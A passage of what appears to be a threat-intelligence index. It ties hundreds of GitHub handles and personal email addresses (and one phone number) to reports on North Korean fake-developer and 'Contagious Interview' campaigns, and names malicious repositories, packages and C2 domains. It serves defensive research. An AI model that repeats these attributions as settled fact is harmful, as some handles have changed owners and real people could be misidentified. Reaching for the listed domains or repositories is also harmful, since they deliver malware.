commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. alexjoe118 holds debrajoycel8323@gmail.com (100); demi-guy holds demi4987@skiff.com (6); devbeast0121 holds devbeast3800@gmail.com (100); Johann-0213 holds devcomposer0213@gmail.com (28); Topdeveloper0322 holds devgroup006@gmail.com (41); AI-Julia holds devguru13580@gmail.com (48); qvantax holds devmania1223@gmail.com (100); socool728 holds devope08@gmail.com (15); devscottmiller-lang holds devscottmiller@gmail.com (75); devsuperstar121 holds devsuperstar121@gmail.com (15); Dev0109 holds devtop0109@gmail.com (100); CheongRui holds devtop617@gmail.com (30); topstar920707 holds dlee59664@gmail.com (100); LuckyTycoon holds dp2genius@gmail.com (1); hiddenmyth holds dragon99steel@gmail.com (100); kevin-sse holds dragonknight0522@gmail.com (100); dragon927 holds dragonsea145@gmail.com (1); CodeWizard928 holds dragontiger928@gmail.com (9); SEV-96 holds dreamconsolestar@gmail.com (42); dreamhigh9990 holds dreamhigh9990@gmail.com (100); bitcookr holds dreamhighpassionhigh@gmail.com (35); DreamWorker777 holds dreamworktalent@gmail.com (51); CodeMonkey0301 holds dt1527699@gmail.com (2); duartejose0202 holds duartejose020202@gmail.com (1); eureka000306 holds edureka000306@outlook.com (35); Demon991108 holds edwardschwartz1108@gmail.com (23); dolphinstar0202 holds eliasforsberger@gmail.com (100); Gitplayboy holds elijahrobersone@gmail.com (11); enjoyandlove holds enjoyandlovecoding@gmail.com (65); erosgod1118 holds erosgod19921118@gmail.com (100); bluesky0209 holds feature0209@gmail.com (43); senior-dev-1019 holds fightingmonkey1@gmail.com (3); cl0ver012 holds finleybeech10@gmail.com (3); flybear5500 holds flybear5500@gmail.com (100); ct2187 holds for2187test@gmail.com (2); Phantomlancer123 holds fronzen615heart@gmail.com (22); neverVector holds fulldev0526@gmail.com (69); FuriousComet holds furiouscomet729@gmail.com (39); dagger367 holds gholmeih@gmail.com (1); Dr-GlassesPIG holds glassespiger@gmail.com (6); godDev0331 holds god880331@skiff.com (100); golddev53 holds golddev53@gmail.com (1); goldnite holds goldendevens@gmail.com (89); GoldenDragon0710 holds goldendragon0710@gmail.com (40); KingStar1001 holds goldlion0819@gmail.com (74); shinobi8894 holds goldstardev2002@gmail.com (83); GreatHub1204 holds grahasmin@gmail.com (100); Wuffle1125 holds handsomeprince1125@gmail.com (100); SuperDev0417 holds happinessman0417@gmail.com (27); kaerur holds happyday03518@gmail.com (9); happy7525 holds happydeveloper0816@gmail.com (2); onlinedev-601 holds happysuperevil601@gmail.com (100); harrychendev holds harrychendev226@gmail.com (23); light3b holds harrydev0724@gmail.com (100); kingstar1115 holds hatoyama1115@gmail.com (100); harrialeksi holds hawkpeter0324@gmail.com (100); peace00000 holds heidikalatasra20@gmail.com (100); cupidbow20000 holds helemonar2023@gmail.com (10); Henry-Baldovino holds henrybaldovino81@gmail.com (4); smartdev1102 holds hfish7789@gmail.com (50); DevMaster37 holds hidev237@gmail.com (100); happy-teddy holds hidev537@gmail.com (63); mlhiq holds hiqdevlord@gmail.com (100); SunlightLuck holds hope4wd88@gmail.com (100); dirtymalikjin9k holds hopemalik0512@gmail.com (100); MilanJelesic holds hubamykytafree@gmail.com (100); fantasticoder850 holds hy99aa@gmail.com (8); InfiniteAengus holds infiniteaengus@gmail.com (100); uchiha5555 holds innocentdev0512@gmail.com (100); AboveAndBeyondSolution holds intersting987@gmail.com (100); ITsolution1014 holds itsolution1014@gmail.com (1); appleseed010622 holds ivangrigorasuk560@gmail.com (13); crazyAI427 holds jackieliu1224@gmail.com (52); choace0427 holds jacobkevin0427@gmail.com (100). Where the address came from a report, the report is https://theravenfile.com/2025/08/19/unmasking-dprk-it-workers-email-address-patterns-as-hiring-red-flags/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from GitLab Threat Intelligence's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. abvbdelrahman holds abdelrahman5520032019@gmail.com (50); RED-ROSE515 holds albertchess990919@gmail.com (100); alexandermori0917 holds alexandermori1218@gmail.com (100); AlexeyS0828 holds alexeysamsonofff@gmail.com (13); balazpapp holds balazspapp@outlook.com (1); devguy4u holds blackwang104@gmail.com (100); bloxdev99 holds bloxdev1999@outlook.com (4); antomicsguru holds bryandev0418@gmail.com (4); chainsaw1107 holds chainsaw1107@gmail.com (24); robanet holds chrissamuel729@gmail.com (6); cpduran0622 holds cpduran0622@gmail.com (12); cristhianmar7014 holds cristhianmartinezrom7@gmail.com (100); thecryptomaster holds cryptodev26@gmail.com (19); darbylee holds darbylee923@gmail.com (8); venus01015 holds darkrut22@gmail.com (3). Where the address came from a report, the report is https://about.gitlab.com/blog/gitlab-threat-intelligence-reveals-north-korean-tradecraft/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…GitHub Indicators https://github.com/Achilleus0612 https://github.com/adminGit71 https://github.com/aimachieve https://github.com/alchemist0404 https://github.com/Blux61 https://github.…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from The Raven File's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. miyatsuko0602 holds miyatsukotenjiku@gmail.com (7); sr-gg holds moneycode852@gmail.com (100); sylvester05 holds muse9515one@gmail.com (2); TrendSpider001 holds nalpa199858@gmail.com (100); tobistudio holds nazarnesterov21428@gmail.com (100); dancodes91 holds newssstrike@gmail.com (100); CyberWarrior1224 holds nicholaschan082@gmail.com (100); nightfurry0308 holds nightfurry0308@gmail.com (100); pxfskjp holds nrr0729@gmail.com (37); HummingBird1224 holds oksanashuhaliia@gmail.com (100); oleh-vu holds oleh@vividunity.com (1); onlinehub0808 holds onlinedev0808@gmail.com (35); max-ray001 holds onosaito0614@gmail.com (100); full-stack-service holds openworld20231002@gmail.com (9); smart9205 holds oranvitaliano@gmail.com (100); SeniorDev9899 holds oxankaorb@gmail.com (2); thomaswbaxter holds pandajr9719@gmail.com (100); max00317 holds passionatedev0317@gmail.com (100); passiondev0503 holds passiondev0503@gmail.com (11); superstar1225 holds paulwilstar1225@gmail.com (96); PetePiao1017 holds petepiao1017@gmail.com (2); polarbear0127 holds polarbear030127@gmail.com (100); francescopopescu1021 holds popescufv1021@gmail.com (40); kingstar0126 holds popstar0982@gmail.com (1); PrfSnape holds prfsnape123456@gmail.com (1); coolpartner119 holds prodev0119@gmail.com (16); killerupwork holds prodev0322@gmail.com (10); Luisa-m17 holds profreelancer222@gmail.com (100); forever585 holds programmermh1@gmail.com (1); bestlucky123 holds projonurs1216@gmail.com (21); hc0503 holds q3construction1@gmail.com (100); QingTopDev holds qingrilee1223@gmail.com (6); chatgptguru holds qualitykingstar@gmail.com (61); smartguy0528 holds quanhuahe1258@gmail.com (1); magicwebdev525 holds qurafel@gmail.com (9); HighSpeed1380 holds rabconnection1380@gmail.com (19); crazyD27 holds rd3328425@gmail.com (100); bberry124 holds renning100@gmail.com (100); compiledcode83 holds residentevil9083@gmail.com (6); richman225 holds richman5225@gmail.com (100); adam-eques holds risingdev000@gmail.com (100); rmonet1203 holds rmonet1203@gmail.com (84); wdev0901 holds robbie091114@gmail.com (100); SmartDev0910 holds roryporter0910@gmail.com (65). Where the address came from a report, the report is https://theravenfile.com/2025/08/19/unmasking-dprk-it-workers-email-address-patterns-as-hiring-red-flags/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…https[ :// ]github.com/meta-stake/RaceStake https[ :// ]github.com/parth5805/iGuru-Task https[ :// ]github.com/adammajoros250-creator/alex111 https[ :// ]github.com/adammajoros250-creator/123456ddd https[ :// ]github.com/adammajoros250-creator/corex-arc-fork https[ ://…","…GitHub Indicators https://github.com/Achilleus0612 https://github.com/adminGit71 https://github.com/aimachieve https://github.com/alchemist0404 https://github.com/Blux61 https://github.com/boldempha https://github.c…","Found on 28 September 2026 by asking GitHub's commit search where the addresses of the lure-author accounts filed the same day have committed, beyond the 39 lure repositories already held. These owners were created in 2026, hold one to four repositories each, and present themselves as TARS AI (\"The AI Architecture Protocol on Solana\", three separate organisations), AetSoftNesus, Arsaga Partners and a poker project called Betfin. An organisation dating from 2023 with a history of its own work, where one of these addresses also committed, is left out as a likely client or employer rather than a lure.","…| Web3 metaverse | AjunaVerse-current | L · T · E · I | | [AetSoftWorkHub/AetSoft_MVP](https://github.com/AetSoftWorkHub/AetSoft_MVP) | Web3 metaverse | AjunaVerse-current | L · T · I (via bit-identical `tasks.json` blob with AjunaVerse) | |…","…See `server/controllers/auth.js:67–72` and `server/routes/api/auth.js:18–36`. > The sibling repository `https://github.com/AetSoftWorkHub/AetSoft_MVP` carries the bit-identical `.vscode/tasks.json` (SHA `998c34f02d94169a546b4c36123d552dd14f985b`).…","…github.com/buildwithria varduhimarieta email / flagged account github.com/TechAIAgent Kolin Kojima hub, follows danielfounder github.com/Agent-Dev-Well Committed to TechAIAgent, dev.to profile github.com/apexautocap Paxton Powers / UK cluster github.com/YusukeM317 Yusuke Morimoto…","…Here is a list of DPRK GitHub accounts that are no more available:- https://github.com/agronkercishta https://github.com/agronkercishta https://github.com/athenaweb629 https://github.com/best-lucky1030 https://github.com/christiaan93210 http…","….com/yasmoto1995 https://github.com/yellowflash2041 https://github.com/yeshealer https://github.com/tedzchow https://github.com/super124dev https://github.com/agronkercishta https://github.com/agronkercishta https://github.com/athenaweb629 https://github.com/best-lucky1030 https://github.com/christiaan93210 http…","…And we believe the account in question, https://github.com/AhegaoXXX , is connected to DPRK IT worker operations.…","…handles that follow each other as well as share several mutual connections: Press enter or click to view image in full size https://github.com/AI0228 https://github.com/warmice71 https://github.com/niceDeve https://github.com/codestar3524 https://github.com/topdev0215…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Chollima Group's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. anydev1103 holds anydev1103@gmail.com (15); aicensor holds chainerspace@gmail.com (60). Where the address came from a report, the report is https://chollima-group.io/posts/analysis-of-it-worker-logs/ https://chollima-group.io/posts/bells-ringing-in-dar-es-salaam.html. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…V0410 - https://github.com/V0410/ng-frontend-application/commits/main/ aidenwong812 - https://github.com/aidenwong812/ng-frontend-application Timestamp analysis is interesting: both repositories were updated at almost exactly the same time (a 10-minute difference), indicating a…","…-cheatsheets/react/issues/87 URL:https//github.com/typescript-cheatsheets/react/issues/190 URL:https//github.com/dreamcoder75 URL:https//github.com/AIDevMonster URL:https//github.com/whiteghostDev URL:https//github.com/cedev935 URL:https//github.com/green52199 URL:https//github.com/CryptoTop1111…","One of four personas the post presents side by side, each as a single dark card giving a handle, a job title, a photograph and a row of platform links. The post's text carries the accounts; the card carries the title and the face. The researcher's own shorthand names this one differently in the text than the card does, and the card's spelling is what is used here, because that is the name the identity presents. The card gives the title \"Senior Rust Engineer\" and links to GitHub and Telegram.","…Ninja - t.me/leonk0804 - https://x.com/browsercookies/status/1933591202550723029 - ![](./1933591202550723029-2.png) #### 2401 - github.com/aimachieve - t.me/BlueStar0805 - https://x.com/browsercookies/status/1933591202550723029 - ![](./1933591202550723029-3.png) #### MISC -…","…GitHub Indicators https://github.com/Achilleus0612 https://github.com/adminGit71 https://github.com/aimachieve https://github.com/alchemist0404 https://github.com/Blux61 https://github.com/boldempha https://github.com/Bravodev88 https://github.c…","…DEPLOYMENT_DISABLED). | Repository | Lure theme | Generation | Repo signals verified | |---|---|---|---| | [AjunaWorkHub/AjunaVerse_MVP](https://github.com/AjunaWorkHub/AjunaVerse_MVP) | Web3 metaverse | AjunaVerse-current | L · T · E · I | | [AetSoftWorkHub/AetSoft_MVP](https://github.com/AetSoftWorkHub/AetSoft_MVP) |…","# AjunaVerse_MVP — incident write-up & technical analysis | | | |---|---| | Subject | `https://github.com/AjunaWorkHub/AjunaVerse_MVP` | | Encounter date | 2026-05-13 (delivered via a suspicious recruiting/interview flow) | | Author of this report | Claude Code (Opus 4.7,…","…GitHub Indicators https://github.com/Achilleus0612 https://github.com/adminGit71 https://github.com/aimachieve https://github.com/alchemist0404 https://github.com/Blux61 https://github.com/boldempha https://github.com/Bravodev88 https://github.com/bremaster https://github.com/c…","…One of the sample GitHub Profile of DPRK IT Worker is:- DPRK IT Worker’s Git Profile You may find the complete list here:- https://github.com/alchemist0803 https://github.com/SkyCaptainess https://github.com/apollo000104 https://github.com/branchdev98 https://github.com/BlackSpider8391 https://…","RESEARCH ARTICLE: https://theravenfile.com/2025/08/28/dprk-it-workers-unveiled/ https://github.com/alchemist0803 https://github.com/SkyCaptainess https://github.com/apollo000104 https://github.com/branchdev98 https://github.com/BlackSpider8391 https://…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Socket.dev's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. test-marketplacecore holds mykolakostenko16@gmail.com (1); mykolasvyryd holds mykolasvyryd20@gmail.com (100); pavlovainerman-maker holds pavlovainerman@gmail.com (45); proluka518 holds proluka80518@outlook.com (1); reichenausteve-cloud holds reichenausteve@gmail.com (11); alexandercodehub holds rodolfguerr717@outlook.com (3). Where the address came from a report, the report is https://socket.dev/blog/north-korea-contagious-interview-campaign-338-malicious-npm-packages. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","The researcher groups these accounts together as \"all them 888 accts\", which is the only name given for the operator, so the shared 888 marker is used as the label here. A second post the same day greets five X accounts as DPRK; only the two carrying the 888 marker are recorded against this cluster, because that post addresses them in the plural without saying they are one person.","Abstract Security's report lists every author address with a commit in a malicious repository. Because the lures are forks of real projects, that table mixes the operators who wrote the lures with the developers whose code was copied, and each address was checked on 28 September 2026 before its owner was carried. These are the addresses whose commits run through many different people's technical-assessment and test-task repositories, which is where a lure author's commits land when candidates fork the lure; GitHub credits them to the accounts below. goldenfinix68 holds alexandersmir68@outlook.com (16); Alexcox8 holds alexcox052595@gmail.com (38); lionguru holds arielmonster99@gmail.com (168); Funkedup007 holds chaley@gmail.com (70); codehome0301 holds myselfmail0301@gmail.com (847); Skillverifier834 holds suportemtng@gmail.com (7); ironforgedevspace holds maqsoodssyasirss@gmail.com (5); ironforgecoplace holds michalk001126@gmail.com (2); viacheslavdanilov889-blip holds viacheslavdanilov889@gmail.com (5). The addresses that belong to the copied projects' own developers are held back. Source: https://www.abstract.security/blog/contagious-interview-tracking-the-vs-code-tasks-infection-vector","…github.com/techsavvyninja - github.com/intellichain555 - github.com/zkbusiness - github.com/chainoneer - github.com/sujan198703 - github.com/alexiva0806 - github.com/poprunner88 - github.com/wow-webmaster - github.com/techwizard210 - github.com/lovelyBestDev - github.com/Thomas-Kebin -…","…Alex Lu - Alexlu0917 - codemaestro11 - works with `cooldev900` / `silversoft0707` and `oldhand7` - github.com/alexlu0917 - github.com/CodeMaestro11/ - alexlu0917.dev@gmail.com - codeMaestro11@outlook.com - https://opensea.io/Alexlu0917 -…","…github.com/Thomas-Kebin - github.com/ChallengeDev210 - github.com/OrdinalKing - github.com/devlegend524 - github.com/cryptodev524 - github.com/alexstepan0209 - github.com/kvenus-uj - github.com/suzukidavid - github.com/john741672 - github.com/webcat882 - github.com/lgamingdev1 -…","…The corresponding GitHub repository is github.com/alextucker0519/array-empty-validator , under the alextucker0519 GitHub account. react-event-dependency : Published under the npm alias “elondavid” (email:…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from The Raven File's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. vinhtranchau holds jalicorich@gmail.com (100); rot0505 holds jamesdev0505@gmail.com (34); jenisHan holds jameshan1128@gmail.com (6); ProLord007 holds jamesito0923@gmail.com (100); jamesmith110111 holds jamesmith110111@gmail.com (86); BlueCodingAI holds jarretap0123@gmail.com (36); jondanny holds jdnguyen928@gmail.com (100); hdev505 holds jh4169306@gmail.com (100); JhonRene holds jhonrene1001@gmail.com (2); joel1128 holds joelbird1128@gmail.com (100); anaconda797 holds jonasmakart0913@gmail.com (100); supercoder1213 holds josecampos7674948@gmail.com (100); PT-3Y holds jsmith052199@gmail.com (35); jupiter0913 holds jupiter256821@gmail.com (62); gocutup holds justinstone0603@gmail.com (1); Kage0923 holds kagehiro0923@gmail.com (100); bestengineer1112 holds kakashie1004@gmail.com (15); SolidMaster568 holds kdash568@gmail.com (39); AllTwinkleStars holds keepgrowinga@gmail.com (100); DevStar1028 holds kennydavis120@gmail.com (29); kevnisgitstrong holds kevinipineda0315@gmail.com (1); kevintech1020 holds kevintech1020@gmail.com (7); vewm98 holds kingstardev9999@gmail.com (3); kinoa911 holds kinoa911@gmail.com (83); GoodWebDev88 holds kittydragon88@gmail.com (53); multikitty holds korvalev234234@gmail.com (24); cleandev0401 holds kretovvadim881@gmail.com (6). Where the address came from a report, the report is https://theravenfile.com/2025/08/19/unmasking-dprk-it-workers-email-address-patterns-as-hiring-red-flags/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from The Raven File's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. messi0416 holds takayamasibi111@gmail.com (7); tal034 holds talentd1223@gmail.com (35); TP817 holds talentdevservice@gmail.com (28); nextidearly holds talenteddev0125@gmail.com (78); windev0609 holds talentwebsniper@gmail.com (2); Artem5287 holds techking5287@gmail.com (8); goldants holds techninjas514@gmail.com (100); edenhazard701 holds techrub710@gmail.com (100); KULA7107 holds teddybear0259@gmail.com (2); DreamHigh3222 holds tekdanieldoval@gmail.com (2); tekmickey0118 holds tekmickey0118@gmail.com (15); honey-creator-git holds tenochbush@gmail.com (100); ByteCrafting1 holds theunlimited1234@gmail.com (100); tiggon112 holds tiggon112@gmail.com (7); WorldStar0126 holds tomasbillion555@gmail.com (100); yirideveloper holds tomtop94211@gmail.com (9); alpinistdev holds tony715225@gmail.com (43); strong-728 holds topcoder728@gmail.com (100); topcode007 holds topcoderwizard@gmail.com (1); topstardev0127 holds topdev0127@gmail.com (16); luckydev25 holds topdev0205@gmail.com (100); STitan715 holds topdev02715@gmail.com (12); topdeveloper-dev holds topdeveloper7589@gmail.com (10); justpiano97 holds topdeveloper97@gmail.com (100); top-dev777 holds topfullstacker@gmail.com (3); funny-life2033 holds topmasterdev2033@gmail.com (4); mspartywork holds topmsdreamer@gmail.com (23); amg77777 holds topprogrammer77@gmail.com (76); CryptoKstar holds toppythondev13579@gmail.com (100); toshinestar holds toshinestar@outlook.com (100); bonsu120 holds tosprise120@gmail.com (1); khdream holds truedev1001@gmail.com (2); TryEverything020609 holds tryeverything0609@gmail.com (100); SamonTaikan holds unoyasushi0922@gmail.com (2); xdgtal holds uo0901576@gmail.com (2); Elite1015 holds upmanager200@gmail.com (1); lazy0345 holds urayamaeizo@gmail.com (100); mmdCodebase holds ustarlight007@gmail.com (27); vadymdev716 holds vadymmartynenko0@gmail.com (100); plwrd holds valcano103@gmail.com (100); vhkechichian holds vhkechichian@gmail.com (100); danilrannev holds victorlutsenko7@gmail.com (100). Where the address came from a report, the report is https://theravenfile.com/2025/08/19/unmasking-dprk-it-workers-email-address-patterns-as-hiring-red-flags/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…2025, Cook, Arable Protocol, WagyuSwap, GAMESWAP, StakeDAO, Obyte, Fantom, Lid Protocol - altbee - zerobit417 - @zerobit417 - github.com/altbee • [Archive](https://web.archive.org/web/20220625174754/https://github.com/altbee) - zerobit417@gmail.com -…","…The corresponding GitHub repository is github.com/alximmykola379/yoojae-validator , associated with the alximmykola379 GitHub account. event-handle-package : Published under the npm alias “ricardoalexis07” (email:…","…github.com/Setsu548/Logistic v0.0.0-20240410002038-5b40bed74f90 Setsu548 Nextron github.com/amantsehay/a2sv-go-course v0.0.0-20240816090215-c51e2d9214d5 amantsehay Nextron github.com/anatoli-derese/a2sv-excercise…","…<yosket87@gmail.com> Domains: - vscode-load-config.vercel.app ## Variant eight - September 9, 2025 - Unique Identifier: flag=8 github.com/Ambition-lead/linkfi #### Notes: This repo appears to be the parent for several of the variants as it has 356 commits but has been inactive for a…","…github.com/amantsehay/a2sv-go-course v0.0.0-20240816090215-c51e2d9214d5 amantsehay Nextron github.com/anatoli-derese/a2sv-excercise v0.0.0-20240805074755-5adbbc600635 anatoli-derese Nextron github.com/bm-197/chill…","…andersonlee111 - smartdev0725 - github.com/good725 • [Archive](https://web.archive.org/web/20250827055950/https://github.com/good725) - github.com/andersonlee111 - github.com/smartdev0725 - linkedin.com/in/anderson-lee-9550381a5 - linkedin.com/in/anderson-lee-0130801a3 - cetbdb23@gmail.com -…","…injected malicious commands: https://github.com/TrustLedgerLabs/Token-Presale-dApp https://github.com/ryon-business/Promoting-DApp https://github.com/angel-group888/dapp-integration https://github.com/AretaSchmidt/Web3-RE-Prototype https://github.com/QalbeAli/TrustLedger_Fixes https://github.com/trustllabs/Token-Pres…","…* Thematic \"VR headset woman\" profile photo * Forked repos match others of note * Solely following devstorm23 * https://github.com/angelanderson111111 * Thematic \"VR headset woman\" profile photo * Forked repos match others of note * Solely following devstorm23 *…","…![](./1933686204668784823-4.png) - ![](./X_2025-11-22_Brysky456.png) #### Haruto Miura - linked to TopDev707 - x.com/haruto918miura - github.com/angeldev918 - github.com/h918m - topdev707@gmail.com - haruto918miura@gmail.com - +16094590680 -…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from North Korean Internet (nkinternet.com)'s reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. Anima192 holds kollinkojima28@outlook.com (6); CodeInfrastructure23 holds kollinkujima@outlook.com (45). Where the address came from a report, the report is https://nkinternet.com/2026/04/07/npm-malware-fake-devs-and-deepfake-videos-these-are-a-few-of-my-favorite-dprk-things/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…Below we present the real physical appearance of AnotherRusty, who claimed to be a US citizen. Persona 1 (Matthias Li) Github: https://github.com/AnotherRusty Other names: rustynail015, rusty015, Solust_Rusty Discord: rusty102 / 397440130744320035 Telegram: idioRusty Telegram URL:…","GitHub account in the April 2026 cross-ecosystem Contagious Interview wave: a closely related alias that published the mit-license-pkg Go module.","…Rust Crate # logtrace Malicious PHP Package # golangorg/logkit Malicious Go Modules # github.com/golangorg/formstash github.com/aokisasakidev/mit-license-pkg C2 and Delivery Endpoints # apachelicense.vercel.app ngrok-free.vercel.app logkit.onrender.com logkit-tau.vercel.app…","…Registration email shiningup1996@gmail.com GitHub account github.com/golangorg GitHub account github.com/aokisasakidev GitHub account github.com/maxcointech1010 GitHub account github.com/maxcointech0000 Response and what to…","…pino-debugger, debug-fmt, debug-glitz PyPI: logutilkit, apachelicense, fluxhttp, license-utils-kit Go: github.com/golangorg/formstash, github.com/aokisasakidev/mit-license-pkg Rust: logtrace Packagist: golangorg/logkit These loaders are designed to fetch platform-specific second-stage payloads, which turn…","…DPRK IT Worker’s Git Profile You may find the complete list here:- https://github.com/alchemist0803 https://github.com/SkyCaptainess https://github.com/apollo000104 https://github.com/branchdev98 https://github.com/BlackSpider8391 https://github.com/rider0211 https://github.com/AringoldX https://github.…","…ARTICLE: https://theravenfile.com/2025/08/28/dprk-it-workers-unveiled/ https://github.com/alchemist0803 https://github.com/SkyCaptainess https://github.com/apollo000104 https://github.com/branchdev98 https://github.com/BlackSpider8391 https://github.com/rider0211 https://github.com/AringoldX https://github.…","…https://www.matthiasli.com/ Persona 2 (apollotoday) Github: apollotoday Other names: SolMatts, MtBotDev, Apollum URL: https://github.com/apollotoday E-mail: matthiasli.mt@gmail.com Twitter: https://x.com/j_apollum Persona 3 (m4rcu5o) Github: https://github.com/m4rcu5o Other…","Heiner García's article names a network of GitHub accounts it calls the SuperStar Campaign, after the words Super, Star and Dev that recur in the handles and a SuperStar user name on one member's machine, and places it with the Contagious Interview and Wagemole activity Unit 42 reports. The network centres on Finalgoal231, a GitHub organisation of eighteen members, most of which the article judges to be fake profiles, whose discussions show members starring one another's work, coordinating through Discord and rewriting commit histories to change addresses. It shows popstar7 renaming oddcommitking to Luis96920 in a pull request, and xaramore, a follower hub from the researcher's earlier work, now deleted. The first thirty-two accounts are the article's own closing list of suspicious accounts, less the two held back below, and the article describes that list as a sample of a larger confidential set; the last four, xaramore, Finalgoal231, oddcommitking and e-nitram, are named in its body. When read on 24 September 2026, deepsea514, GoodLuck0129 and xaramore no longer resolved, and kingp08 and Topstar88 resolved to accounts created in April 2026 and July 2025, after the article, so those two handles now belong to different holders than the ones it named.","…2022: 88mph (https://88mph.app) - Mar 2019–Apr 2021: GameSwap — Avalanche - Aug 2015–May 2018: Typent — Singapore - Arable Protocol (https://github.com/arableProtocol) #### Quinn Lee - Q12024, 2024, [Zach's List](https://x.com/zachxbt/status/1824047425822310580), Arc Market?, Fastswap?, Grape…","…om/TrustLedgerLabs/Token-Presale-dApp https://github.com/ryon-business/Promoting-DApp https://github.com/angel-group888/dapp-integration https://github.com/AretaSchmidt/Web3-RE-Prototype https://github.com/QalbeAli/TrustLedger_Fixes https://github.com/trustllabs/Token-Presale-dApp https://github.com/DavidMoura07/linkfi h…","…kyCaptainess https://github.com/apollo000104 https://github.com/branchdev98 https://github.com/BlackSpider8391 https://github.com/rider0211 https://github.com/AringoldX https://github.com/CrazyPassion218 https://github.com/devmad119 :…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Group-IB's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. artemis701 holds developer789222@gmail.com (80); devconn99 holds devondeveloper99@gmail.com (100). Where the address came from a report, the report is https://www.group-ib.com/blog/dprk-fake-remote-developers/. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…om/hrjaffery/nyc-bitquery-whale-transactions github.com/krishprism1/ncipher1.2upgrade-backend github.com/SyedMinhalHasan/blocknovas-task github.com/artur-kolesnyk/NyxCipher-test github.com/xorostar/blocknovas-llc-currency-converter-task We know GitHub does not index everything in search, and we were able to…","…backdoor: github.com/Collaborate3562/ncipher-backend github.com/Paragkoche/ncipher1.2upgrade-backend-2 github.com/TopStar720/nyx4 github.com/asimhafeezz/blacknovas-test github.com/hrjaffery/nyc-bitquery-whale-transactions github.com/krishprism1/ncipher1.2upgrade-backend github.com/SyedMinhalHasan/blockno…","…similar obfuscated payloads “hidden” on the first line by adding a large amount of whitespace, as seen in other BlockNovas repos. https://github.com/Asrtothunder01/bitcoin/blob/main/backend/services/PaymentServices.js After de-obfuscation of this new JavaScript, which was actually the known OtterCookie malware, we were left with a new C2 domain:…","…Peter Xiao - 2024, [Zach's List](https://x.com/zachxbt/status/1824047425822310580) - Brian Cho - assasinooz77 - github.com/assasinooz77 - 0x5d8335834bfdf4c746e277e5100d7c778c807356 #### Wubone - 2024, [Zach's List](https://x.com/zachxbt/status/1824047425822310580) -…","…• ([Messages](./user-1385798680-@sether1009.txt)) - t.me/sano1009 (ID: 5459321994) • ([Messages](./user-5459321994-@sano1009.txt)) - github.com/astermirac1e • [Archive](https://web.archive.org/web/20250827054513/https://github.com/astermirac1e) - github.com/0xdpta - github.com/Satoshi-Naoki -…","…and IP addresses may contain malicious content, so consider the risks before opening them in a browser. Indicator Type Context https://github.com/astrasbytesyncs/web3-social-platform URL GitHub repository operated by NICKEL ALLEY astrabytesyncs.com Domain name Fake company website operated by NICKEL ALLEY…","Found on 28 September 2026 by asking GitHub's commit search, for each of the addresses this index holds from Socket.dev's reporting, which account its commits are credited to. GitHub credits a commit to the account that has registered the author address, so each account below owns the address shown; the count is the commits credited in the search's first page. vladkashka56 holds vladkashka56@gmail.com (100); SuperLogic-stack holds vladzane569@gmail.com (100); warfelbyeon95om0 holds warfelbyeon95om0@hotmail.com (36); astro741 holds williammorphy37@gmail.com (34); luca-staging holds zybinanton241@gmail.com (1). Where the address came from a report, the report is https://socket.dev/blog/north-korea-contagious-interview-campaign-338-malicious-npm-packages. An account was left out where the address may belong to a real person rather than the operator: a stolen-CV listing, a mirrored contributor's identity, a copied repository's upstream author, or an account with a long, verifiable history of its own.","…is a list of DPRK GitHub accounts that are no more available:- https://github.com/agronkercishta https://github.com/agronkercishta https://github.com/athenaweb629 https://github.com/best-lucky1030 https://github.com/christiaan93210 https://github.com/DevBeast3800 https://github.com/devking877 NOTE:…","…om/yeshealer https://github.com/tedzchow https://github.com/super124dev https://github.com/agronkercishta https://github.com/agronkercishta https://github.com/athenaweb629 https://github.com/best-lucky1030 https://github.com/christiaan93210 https://github.com/DevBeast3800 https://github.com/devking877 OTHER…","The report ties the GitHub account jewelas to a contributor, monster223223 (committing as Kay Akira), and to AtosDev, now AtosLABs.","Found on 28 September 2026 by asking GitHub's commit search, for 